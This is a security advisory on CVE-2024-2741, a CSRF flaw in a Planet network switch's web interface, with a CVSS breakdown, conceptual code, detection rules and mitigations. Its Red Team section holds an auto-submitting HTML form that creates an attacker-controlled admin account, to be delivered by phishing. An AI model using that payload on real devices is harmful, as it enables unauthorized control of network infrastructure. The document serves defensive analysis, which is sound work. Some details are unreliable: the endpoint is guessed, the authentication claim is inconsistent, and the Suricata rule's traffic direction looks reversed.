CVE-2024-2741

Executive Summary

CVE-2024-2741 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Planet IGS-4215-16T2S switch with firmware version 1.305b210528. This flaw allows a remote attacker to trick authenticated users into performing unintended actions, such as adding or updating accounts, via the Switch web interface. The vulnerability has a CVSS score of 7.1 (High), indicating significant impact on confidentiality and integrity. No public exploit code or patch is currently available, and the EPSS score is 0.0%, suggesting low exploitation likelihood at this time. However, given the nature of CSRF attacks, this vulnerability poses a risk to network infrastructure devices.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability allows account manipulation without authentication, but requires user interaction. The lack of a patch increases risk for unmitigated deployments.

Deep Dive & Mechanics

The vulnerability resides in the web interface of the Planet IGS-4215-16T2S switch. The application fails to implement anti-CSRF tokens or other validation mechanisms to distinguish between legitimate and forged requests. An attacker can craft a malicious link or page that, when visited by an authenticated administrator, triggers a state-changing request (e.g., adding a new user account) to the switch's web interface. Since the browser automatically includes session cookies, the request appears legitimate.

Attack Flow:

1. Attacker identifies a target switch with the vulnerable firmware.
2. Attacker crafts a malicious HTML page containing a form or script that sends a POST request to the switch's account management endpoint.
3. Attacker lures an authenticated administrator to visit the malicious page (e.g., via phishing email).
4. The administrator's browser sends the forged request with valid session cookies.
5. The switch processes the request, creating a new account or modifying existing ones.
6. Attacker gains unauthorized access to the switch.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code likely lacks CSRF protection mechanisms. A secure implementation would include:

• Vulnerable (Conceptual):

  # No CSRF token validation
  def add_user(request):
      username = request.POST['username']
      password = request.POST['password']
      # Process account creation
  

• Patched (Conceptual):

  import secrets
  # Generate and validate CSRF token
  def add_user(request):
      if request.POST['csrf_token'] != request.session['csrf_token']:
          return HttpResponseForbidden("Invalid CSRF token")
      username = request.POST['username']
      password = request.POST['password']
      # Process account creation
  

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a Planet IGS-4215-16T2S switch with firmware 1.305b210528.
2. Configure a web interface with an admin account.
3. Set up a malicious web server (e.g., using Python's http.server).

Exploitation Steps:

1. Create a malicious HTML file (csrf_exploit.html):

   <html>
   <body>
   <form action="http://<switch-ip>/cgi-bin/admin/adduser" method="POST">
       <input type="hidden" name="username" value="attacker">
       <input type="hidden" name="password" value="pwned123">
       <input type="submit" value="Click me">
   </form>
   <script>document.forms[0].submit();</script>
   </body>
   </html>
   

2. Host the file on the attacker's server.
3. Send a phishing email to the admin with a link to the malicious page.
4. Once the admin clicks, the account is created.

Blue Team

Detection:

• Monitor for unusual account creation events in switch logs.
• Implement network segmentation to limit exposure of management interfaces.
• Use web application firewalls (WAF) to inspect and block suspicious requests.

Mitigation:

• Disable remote web management if not required.
• Use VPN or jump hosts for administrative access.
• Apply vendor patches when available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual POST requests to /cgi-bin/admin/adduser or similar endpoints.
  • Referer headers from unexpected domains.
• Host IOCs:
  • New user accounts in the switch's configuration.
  • Log entries showing account creation from unknown IPs.
• File IOCs:
  • Malicious HTML files with auto-submitting forms.

Detection Engineering

YARA Rule

rule CVE_2024_2741_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts for CVE-2024-2741"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-2741"
    strings:
        $csrf_form = /<form[^>]*action=["']http:\/\/[^"']*\/cgi-bin\/admin\/adduser["']/
        $csrf_script = /<script>document\.forms\[0\]\.submit\(\)<\/script>/
    condition:
        $csrf_form or $csrf_script
}

Sigma Rule

title: CVE-2024-2741 CSRF Exploit Attempt
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects potential CSRF attacks targeting Planet IGS-4215-16T2S switch
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: suricata
detection:
    selection:
        http.method: 'POST'
        http.url: '/cgi-bin/admin/adduser'
        http.referer|contains: 'http://'
    condition: selection
falsepositives:
    - Legitimate admin actions from trusted networks
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-2741 CSRF Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/admin/adduser"; http_uri;
    pcre:"/Referer:[^\r\n]*http:\/\//Hi";
    sid:1000001;
    rev:1;
    reference:cve,2024-2741;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

1. Immediate Actions:

   • Restrict access to the switch's web interface to trusted IPs only.
   • Disable remote management if not essential.
   • Use HTTPS with strong certificates to prevent session hijacking.

2. Long-term Fix:

   • Apply vendor patch when released.
   • Implement CSRF tokens in the web application.
   • Conduct security audits of the firmware.

3. Compensating Controls:

   • Deploy a WAF with CSRF protection rules.
   • Use network segmentation to isolate management interfaces.
   • Enable logging and monitoring for suspicious activities.

Valters IT